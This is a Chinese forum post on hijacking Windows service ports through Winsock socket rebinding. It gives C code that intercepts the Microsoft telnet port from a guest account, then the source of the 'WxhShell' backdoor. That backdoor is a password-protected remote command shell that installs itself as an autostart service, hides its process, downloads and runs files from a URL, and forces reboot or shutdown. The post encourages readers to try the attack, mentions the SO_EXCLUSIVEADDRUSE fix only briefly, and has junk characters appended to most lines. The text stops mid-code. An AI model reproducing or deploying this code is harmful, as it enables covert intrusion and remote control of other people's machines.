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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [p' A?-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nuDu  
9@ 4]t6h[  
  saddr.sin_family = AF_INET; CA1Jjm=  
S}fQis  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); V?Q45t Ae  
4X",:B}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,Ne9x\F  
(t){o> l  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 # > I_  
]cv/dY#  
  这意味着什么?意味着可以进行如下的攻击: nrA 4N1  
T+x / J]A  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 lI%RdA[  
Wy\^}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) fK~8h  
yZ!~m3Q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 qRgFVX+vc  
aS[y\9(**  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  w_V A:]j4  
"Bv V89  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :IU<AG6  
Z t4q= Lr  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Buso `G  
=E$bZe8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 j\wZjc-j  
p0y|pD  
  #include H0 Z o.Np  
  #include {0lu>?<  
  #include /NjBC[P  
  #include    auB 931|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :{^~&jgL  
  int main() w#hg_RK(Jr  
  { Wuo:PX'/9  
  WORD wVersionRequested; (&87 zk  
  DWORD ret; BQ<\[H;  
  WSADATA wsaData; FaWDAL=Vhk  
  BOOL val; 4s~X  
  SOCKADDR_IN saddr; ; w+  
  SOCKADDR_IN scaddr; +*xc4  
  int err; r`"T{o\e   
  SOCKET s; %sPze]  
  SOCKET sc; J+Fev.9>  
  int caddsize; kGs\"zZM  
  HANDLE mt; N@O e[X8  
  DWORD tid;   ~NPhVlT  
  wVersionRequested = MAKEWORD( 2, 2 ); 6`iYIXnz  
  err = WSAStartup( wVersionRequested, &wsaData ); cHVJ7yAZI  
  if ( err != 0 ) { `k*;%}X\  
  printf("error!WSAStartup failed!\n"); `#w#!@s#@  
  return -1; u,nn\>Y  
  } ES!e/l  
  saddr.sin_family = AF_INET; GRJ6|T$!?$  
   `1n^~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Qd\='*:!  
OiXO<1'$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .gGO+8[N*  
  saddr.sin_port = htons(23); 7QnWw0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mA$86 X_  
  { 1=5HQ~|[TO  
  printf("error!socket failed!\n"); [mQ1r*[j  
  return -1; si)>:e  
  } \2=I//YF  
  val = TRUE; m&b1H9ymd  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 h_ccE 6]t  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "f<gZsb  
  { R2?s NlF  
  printf("error!setsockopt failed!\n"); )iiaT~ ]  
  return -1; 5M~+F"Hl  
  } ,?Ie!r$6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Z*f%R\u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bcvm]aPu  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ItvcN  
 ^|zag  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qy.$5-e:[9  
  { UCjx   
  ret=GetLastError(); !;mn]wR>a  
  printf("error!bind failed!\n"); iLJ@oM;2  
  return -1; z;P#  
  } F!g1.49""  
  listen(s,2); rNJU & .]  
  while(1) v0!|TI3s  
  { !hM`Oe`S  
  caddsize = sizeof(scaddr); }aVzr}!  
  //接受连接请求 lw gwdB  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Y'm;xA  
  if(sc!=INVALID_SOCKET) ]\ !ka/%  
  { /*>}y$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); P_0[spmFU  
  if(mt==NULL) 9xj }<WM  
  { g 8uq6U  
  printf("Thread Creat Failed!\n"); j0X^,ot@m  
  break; F .Zk};lb  
  } Z3YKG{g  
  } kaQNcMcq  
  CloseHandle(mt); boCi*]  
  } 2A@oa9  
  closesocket(s); 5@r6'Z  
  WSACleanup(); u-y?i`  
  return 0; ,SNrcwv  
  }   +ctU7 rVy  
  DWORD WINAPI ClientThread(LPVOID lpParam) ) 3"!Q+  
  { XEbVsw  
  SOCKET ss = (SOCKET)lpParam; 0,)2\`99#k  
  SOCKET sc; VD@$y^!H  
  unsigned char buf[4096];  !QvmzuK  
  SOCKADDR_IN saddr; TfkGkVR  
  long num; %qo.n v  
  DWORD val; J^CAQfcx  
  DWORD ret; h!JyFc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %AtT(G(n  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L7aVj&xM  
  saddr.sin_family = AF_INET; s@iY'11  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); o6;  
  saddr.sin_port = htons(23); Z2yO /$<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Cw(ypu  
  { p`A2^FS)  
  printf("error!socket failed!\n"); QD{1?aY  
  return -1; VpY D/Oj4;  
  } r5UV BV8T  
  val = 100; (0#$%US\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !~%DR~^`  
  { U ^GVz%\  
  ret = GetLastError(); z8'zH>  
  return -1; `pCy:J?d>l  
  } ]S]W|m7=.Z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Hcg7u7M{  
  { B0gD4MX/  
  ret = GetLastError(); >g>r_0.  
  return -1; r<n:o7  
  } 'dh{q`#0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ns1n|^9  
  { et~D9='E  
  printf("error!socket connect failed!\n"); K-\wx5#l/  
  closesocket(sc); ;SjNZi)4d  
  closesocket(ss); T]z(>{  
  return -1; /;Hqv`X7  
  } aXqig&:  
  while(1) BF2U$-k4  
  { 'Ca;gi !U  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;b=diZE  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Mb[4_Dc  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @$^4Av-  
  num = recv(ss,buf,4096,0); $.$nv~f  
  if(num>0) - A@<zqu  
  send(sc,buf,num,0); GVlT+Rs7  
  else if(num==0) :Ch XzZ  
  break; Q>+rjN;  
  num = recv(sc,buf,4096,0); k'|yUJ,  
  if(num>0) <_t]?XHB[  
  send(ss,buf,num,0); PDw+Q  
  else if(num==0) k Qr  
  break; kO*\JaD  
  } '6){~ee S  
  closesocket(ss); 6Y\TVRR  
  closesocket(sc); W).Kq-  
  return 0 ; oz.z>+Q  
  } bcy  
j2IK\~W?-  
BI-'&kPk  
========================================================== i}C%8} %  
#o} /'  
下边附上一个代码,,WXhSHELL WvJ:yUb2  
ReM]I<WuY  
========================================================== v9r.w-  
{*hvzS{1d  
#include "stdafx.h" e~(e&4pb  
A'~mJO/   
#include <stdio.h> [o(!/38"@=  
#include <string.h> 4XVwi<)  
#include <windows.h> 9#hp]0S6  
#include <winsock2.h> |y0k}ed  
#include <winsvc.h> 65O 8?I  
#include <urlmon.h> fUY05OMZ  
1Dhe! n#  
#pragma comment (lib, "Ws2_32.lib") VK*`&D<P  
#pragma comment (lib, "urlmon.lib") ke;=Vg|  
c;"e&tW  
#define MAX_USER   100 // 最大客户端连接数 KFO K%vbM  
#define BUF_SOCK   200 // sock buffer <Fx%P:d  
#define KEY_BUFF   255 // 输入 buffer T{^mh(3/"  
Qb)c>r  
#define REBOOT     0   // 重启 S& IW]ffK  
#define SHUTDOWN   1   // 关机 \ILNx^$EL  
xYv;l\20.  
#define DEF_PORT   5000 // 监听端口 l1<=3+d  
<a=OiY  
#define REG_LEN     16   // 注册表键长度 .xT{Rz  
#define SVC_LEN     80   // NT服务名长度 oLX[!0M^  
t>N2K-8Qh  
// 从dll定义API S _U |w9q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8LPWT!S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u ynudO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zY*~2|q,s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Cc{{9Ud  
$,/E"G`  
// wxhshell配置信息 N3\RXXY  
struct WSCFG { '-N 5F  
  int ws_port;         // 监听端口 H?Sv6W.~  
  char ws_passstr[REG_LEN]; // 口令 <>f;g "qS  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;P juO  
  char ws_regname[REG_LEN]; // 注册表键名 -eh .Tk  
  char ws_svcname[REG_LEN]; // 服务名 WFk%nO/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fDW:|%{Y,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]ke9ipj]:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d(V4;8a0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Bnk<e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <Rn-B).3bs  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V0 Z8VqV  
U<sGj~"#  
}; 1fIx@  
l/nBin&YGv  
// default Wxhshell configuration {`M \}(E  
struct WSCFG wscfg={DEF_PORT, F|m &n&  
    "xuhuanlingzhe", YCb|eS^u  
    1, =Gzs+6A8  
    "Wxhshell", vuY X0&  
    "Wxhshell", 6[R6P:v&'G  
            "WxhShell Service", I2RXw  
    "Wrsky Windows CmdShell Service", pRE^; 4}z  
    "Please Input Your Password: ", ^`SEmYb;  
  1, }s'=w]m  
  "http://www.wrsky.com/wxhshell.exe", jz=V*p}6  
  "Wxhshell.exe" NhNd+SCZ@  
    }; y!x[N!a  
b|Ge#o  
// 消息定义模块 C_q2bI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oO3 ^9?Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; svxjad@l/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V*2 * 5hx  
char *msg_ws_ext="\n\rExit."; }|;j2'(R  
char *msg_ws_end="\n\rQuit."; |"%OI~^%  
char *msg_ws_boot="\n\rReboot..."; >iK LC  
char *msg_ws_poff="\n\rShutdown..."; (Ly^+Hjg  
char *msg_ws_down="\n\rSave to "; $vO<v<I'Gb  
#m<uG5l`  
char *msg_ws_err="\n\rErr!"; '4#NVXVQm  
char *msg_ws_ok="\n\rOK!"; >cmz JS  
[ypE[   
char ExeFile[MAX_PATH]; *$R9'Yo}F  
int nUser = 0; c1FSQ m81  
HANDLE handles[MAX_USER]; _](y<O^9yO  
int OsIsNt; b5]<!~Fv:`  
Aep](je  
SERVICE_STATUS       serviceStatus; OMo/a%`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |k]]dP|:'  
jxm#4  
// 函数声明 u0k'Jh]K  
int Install(void); HfH_jnR*  
int Uninstall(void); #Q["[}flVv  
int DownloadFile(char *sURL, SOCKET wsh); "O$WfpKX  
int Boot(int flag); OIw[sum2  
void HideProc(void); 3w p@OF_  
int GetOsVer(void); BKI-Dh  
int Wxhshell(SOCKET wsl); a[j]fv*6  
void TalkWithClient(void *cs); zx:;0Z:S6>  
int CmdShell(SOCKET sock); 4:O.x#p  
int StartFromService(void); 1GkoE  
int StartWxhshell(LPSTR lpCmdLine); ' CJ_&HR  
Uy|!f]"?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $'d,X@}8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1uKIO{d @  
,+h<qBsV@  
// 数据结构和表定义 <v_Wh@m  
SERVICE_TABLE_ENTRY DispatchTable[] = CXz9bhn<4  
{ FcZ)^RQ4G  
{wscfg.ws_svcname, NTServiceMain}, | ~>7_:  
{NULL, NULL} lsj9^z7  
}; {0fQE@5@  
A@d 2Ukv  
// 自我安装 Wql=PqF  
int Install(void) vNdX  
{ 7 u Q +]d  
  char svExeFile[MAX_PATH]; go6; _  
  HKEY key; (Lh!7g/0N  
  strcpy(svExeFile,ExeFile); ^e_uprZWm  
izl-GitP  
// 如果是win9x系统,修改注册表设为自启动 3rN}iSF^  
if(!OsIsNt) { L_:~{jV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &Y9%Y/Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %1GKN|7  
  RegCloseKey(key); p(4B"[!S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T.;U~<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?kV_!2U)'K  
  RegCloseKey(key); C-,#t5eir  
  return 0; tp!eF"v=  
    } Q (gA:aQ  
  } RHvK Wt  
} #7:ah  
else { n,-*$~{  
k[<i+C";  
// 如果是NT以上系统,安装为系统服务 %M8Q6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6kR3[]:16v  
if (schSCManager!=0) Dh#5-Kf%  
{ V^n=@CZT9C  
  SC_HANDLE schService = CreateService YB)I%5d;{  
  ( @J^ Oy 3z  
  schSCManager, vF@|cTRR)  
  wscfg.ws_svcname, 9Ou}8a?m"  
  wscfg.ws_svcdisp, As^eL/m2L  
  SERVICE_ALL_ACCESS, \YF;/KwX$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N;}X$b5Y @  
  SERVICE_AUTO_START, &io+*  
  SERVICE_ERROR_NORMAL, gth_Sz5!#  
  svExeFile, `)w=@9B)"  
  NULL, G'wW-|  
  NULL, ^aJ]|*m  
  NULL, 9-1'jNV  
  NULL, *h5L1Eq  
  NULL xa?auv!  
  ); e_rEu'[av  
  if (schService!=0) c;yp}k]\  
  { $ 6r> Tc](  
  CloseServiceHandle(schService); &:g1*+  
  CloseServiceHandle(schSCManager); e&[~}f?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w_QWTD 0  
  strcat(svExeFile,wscfg.ws_svcname); UIIsgNca  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]*)l_mut7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0oi.k;  
  RegCloseKey(key); wJgGw5  
  return 0; fcohYo5mh  
    } .p'McCV=  
  } [;D1O;c'W.  
  CloseServiceHandle(schSCManager); W_/$H_04+  
} 37tJ6R6[  
} YF;2jl Nm  
?f:0GE7  
return 1; ?e+y7K}"]  
} r`+G9sj3U  
=&.9z 4A  
// 自我卸载 7g oRj  
int Uninstall(void) u-.nR}DM_  
{ rT4qx2u  
  HKEY key; g*4^HbVxt  
_IxYnm`pc  
if(!OsIsNt) { awQB0ow'$P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 28}L.>5k  
  RegDeleteValue(key,wscfg.ws_regname); X6r<#n|l  
  RegCloseKey(key); zY4y]k8D*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Fy6Lz.baB  
  RegDeleteValue(key,wscfg.ws_regname); 7}&vEc@w&  
  RegCloseKey(key); _a`/{M|  
  return 0; ~@}n}aV'!  
  } @qA11C.hq  
} brqmi<*9"[  
} 6HVX4Z#VH  
else { /;}o0 DYeW  
gKWUHlQY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =|^R<#%/  
if (schSCManager!=0) \vL{f;2J  
{ !L)|N<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _4k zlD  
  if (schService!=0) vr kj4J f  
  { Y31e1   
  if(DeleteService(schService)!=0) { >oAXS\Ts  
  CloseServiceHandle(schService); 9r8bSV3`  
  CloseServiceHandle(schSCManager); a?W<<9]  
  return 0; {G|= pM\'  
  } Wh%@  
  CloseServiceHandle(schService); 6mIRa(6V  
  } "%rU1/@#  
  CloseServiceHandle(schSCManager); J~ z00p`E  
} 69odE+-X.  
} V4,\vgGu  
3 }#rg  
return 1; zrC1/%T  
} $TAsb>W!(  
/|v b)J  
// 从指定url下载文件 a72L%oJ   
int DownloadFile(char *sURL, SOCKET wsh) m'ZxmsFo  
{ /Hq#!2)  
  HRESULT hr; b0N7[M1Xl  
char seps[]= "/"; h?->A#  
char *token; G*zhy!P  
char *file; 2jP(D%n  
char myURL[MAX_PATH]; IG:CWPU  
char myFILE[MAX_PATH]; 9m%+6#|  
"1Y DT-I"  
strcpy(myURL,sURL); og*ti!Z  
  token=strtok(myURL,seps); >T\^dHtz  
  while(token!=NULL) eFQz G+/  
  { H]{`q  
    file=token; Vg"vC  
  token=strtok(NULL,seps); ,A0v 5Q<  
  } }[;r-5}  
S09Xe_q  
GetCurrentDirectory(MAX_PATH,myFILE); ]4 \6_J&  
strcat(myFILE, "\\"); %w3tzE1Hq  
strcat(myFILE, file); Fa X3@Sd!  
  send(wsh,myFILE,strlen(myFILE),0); 0v3 8LBH)  
send(wsh,"...",3,0); '|yBz1uL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j 4(f1  
  if(hr==S_OK) VY!A]S"  
return 0; IfCa6g<&(  
else 0A75)T=lQ  
return 1; Bthp_cSmLs  
S<w? ,Z  
} Z,, qmwd  
u6*0% Km  
// 系统电源模块 rGQ([e  
int Boot(int flag) GM0pHmC  
{ tRTJQ  
  HANDLE hToken; 0\o5+  
  TOKEN_PRIVILEGES tkp; qcBamf  
*OY Nx4k  
  if(OsIsNt) { (Ii+}Mfp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _U~~[I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &&sm7F%  
    tkp.PrivilegeCount = 1; S$GWY^5}{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H5A7EZq}`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 94[8~_{fG  
if(flag==REBOOT) { OI^qX;#Kd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) };>~P%u32  
  return 0; <EuS6Pg  
} 8;(3fSNC  
else { ]_! . xx>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hx}X=7w  
  return 0; , #(k|Zztc  
} Tnnj8I1v  
  } {_jbFJ  
  else { ^^[A\'  
if(flag==REBOOT) { l+^4y_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Qf@ha  
  return 0; !<0 `c  
} ,GF(pCZzG  
else { )JR&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =$< .:b  
  return 0; }I~)o!N%7  
} R'B-$:u  
} BIjkW.uf  
p!`S]\XEB  
return 1; D+4$l+\u  
} G,@ Jo[e  
/+?eSgM/  
// win9x进程隐藏模块 kclZ+E  
void HideProc(void) Y\9zjewc  
{ ?Pt*4NaT;  
(ZD~Q_O-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %/%TR@/  
  if ( hKernel != NULL ) p3cb_  
  { ]P4?jKI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2-@z-XKn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F@-8J?Hl:  
    FreeLibrary(hKernel); 4{ED~w|  
  } :i o[9B [  
>q1rdq  
return; Y]"lcr}  
} tAS[T9B  
-N1X=4/fg  
// 获取操作系统版本 {6>:= ?7]R  
int GetOsVer(void) Pt7yYl&n7^  
{ _j\ 8u`^n  
  OSVERSIONINFO winfo; AXPdgo6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XWUi_{zn  
  GetVersionEx(&winfo); &v/R-pz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ##yH*{/&  
  return 1; zQsW*)L  
  else :gx]zxK  
  return 0; i [2bz+Z?  
} :eR\0cn  
d PF*G$  
// 客户端句柄模块 .2*h!d)E  
int Wxhshell(SOCKET wsl) 6'1Lu1w  
{  ^J& }C  
  SOCKET wsh; Ev1gzHd!i  
  struct sockaddr_in client; Zy^ wS1io  
  DWORD myID; m/aA q8  
)C0 y<:</  
  while(nUser<MAX_USER) M HKnHPv  
{ f(*iagEy  
  int nSize=sizeof(client); <-=g)3_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s'k} .}  
  if(wsh==INVALID_SOCKET) return 1;  y7.oy"  
ZE6W"pbjU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A=BT2j'l)  
if(handles[nUser]==0) Q6%Pp_$k  
  closesocket(wsh); d5lD!  
else K5(:0Q.5y  
  nUser++; x UTlM  
  } r<_qU3Eaj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l#3jJn  
#}C6}};  
  return 0; ME'LZ"VT  
} 7Q # A  
k, jcLX.  
// 关闭 socket ePiZHqIsv/  
void CloseIt(SOCKET wsh) c^}DBvG,  
{ 4siq  
closesocket(wsh); OBnvY2)Ri  
nUser--; Md>9Daa~  
ExitThread(0); XOPiwrg%p  
} ]?0]K!7Ea  
n<DZb`/uHZ  
// 客户端请求句柄 @6{F4  
void TalkWithClient(void *cs) eZmwF@  
{ ;^  YpQP  
}n?D#Pk,  
  SOCKET wsh=(SOCKET)cs; ]oyWJ#8  
  char pwd[SVC_LEN]; >$;,1N $bd  
  char cmd[KEY_BUFF]; PS`F  
char chr[1]; 3Hhu]5  
int i,j; iq3TP5%i  
\qB.>f"%p|  
  while (nUser < MAX_USER) { z KNac[:  
He}"e&K  
if(wscfg.ws_passstr) { h%Uq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (T =u_oe  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MQl GEJ  
  //ZeroMemory(pwd,KEY_BUFF); LCok4N$o  
      i=0; D #C\| E:  
  while(i<SVC_LEN) { c) _u^Dh  
8l>YpS*S^  
  // 设置超时 /O[ Z  
  fd_set FdRead; eY3<LVAX  
  struct timeval TimeOut; gmtS3,  
  FD_ZERO(&FdRead); MUMB\K*$  
  FD_SET(wsh,&FdRead); F2dwT  
  TimeOut.tv_sec=8; !>6`+$=U  
  TimeOut.tv_usec=0; \N)!]jq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]N6UY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fq !CB]C  
P B{7u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XPMvAZL  
  pwd=chr[0]; *I`Eb7 ^  
  if(chr[0]==0xd || chr[0]==0xa) { FQ]5W |e  
  pwd=0; @4P_Yfn  
  break; +D M,+{}  
  } %=i/MFGX  
  i++; YG6Y5j[-X~  
    } ])vqXjN6"  
8hZc#b;  
  // 如果是非法用户,关闭 socket 8FgF6ip  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r ['zp=9  
} /F}dC/W  
'F7UnkKO|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H=*2A!O[_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {&pBy  
a0hgF_O1  
while(1) { Fhs/<w-  
_`xhP-,`S  
  ZeroMemory(cmd,KEY_BUFF); __)"-\w-_(  
,~XAV ;+  
      // 自动支持客户端 telnet标准   G+K`FUNA  
  j=0; -8&P1jrI  
  while(j<KEY_BUFF) { .zvvk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J&;' gT  
  cmd[j]=chr[0]; 5 $. az  
  if(chr[0]==0xa || chr[0]==0xd) { t CQf `  
  cmd[j]=0; X'usd$[ .  
  break; /X?%K't2r  
  } ^*WO*f>y  
  j++; 5[H1nC @C  
    } 3IQ-2 X--  
{hx=6"@  
  // 下载文件 j]6YLM@5$  
  if(strstr(cmd,"http://")) { gflO0$i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p I@!2c:}  
  if(DownloadFile(cmd,wsh)) ,UneS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ! Y'~?BI  
  else |6~ Kin  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^aY,Wq  
  } ?r^>Vk}  
  else { *ub"!}$st  
%`]fZr A]#  
    switch(cmd[0]) { 8!7`F.BX  
  >%85S>e  
  // 帮助 U6~79Hnt  
  case '?': { (o1o);AO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K]ds2Kp&  
    break; Sh7ob2  
  } C59H| S  
  // 安装 *%2,= p  
  case 'i': { ?P Mi#H  
    if(Install()) 3q`Uq`t4mR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 57:27d0y  
    else T$tO[QR/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7'R7J"sY`|  
    break; *NQsD C.J^  
    } -@/!u9l  
  // 卸载 r1.OLn?C  
  case 'r': { O @{<?[  
    if(Uninstall()) S|T*-?|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &;$- &;  
    else je=XZ's,i~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); me@EKspX  
    break; ]wV_xZ)l^A  
    } ]?~[!&h  
  // 显示 wxhshell 所在路径 "qw.{{:tf  
  case 'p': { [ejl #'*5  
    char svExeFile[MAX_PATH]; `B7?F$J  
    strcpy(svExeFile,"\n\r"); wQ\bGBks  
      strcat(svExeFile,ExeFile); =[`gfw  
        send(wsh,svExeFile,strlen(svExeFile),0); ;>jOB>b{h  
    break; XF99h&;9  
    } UsdUMt!u  
  // 重启 Z8WBOf*~e  
  case 'b': { y(jd$GM|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); iU4Z9z!  
    if(Boot(REBOOT)) : W0;U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '! ~ s=  
    else { 64f6D"."  
    closesocket(wsh); rqhRrG{L|&  
    ExitThread(0); P^'}3*8S  
    } !6`&0eY  
    break; N-}|!pqb  
    } Q=#!wWVP  
  // 关机 jQpG7H  
  case 'd': { k]yv#Pa  
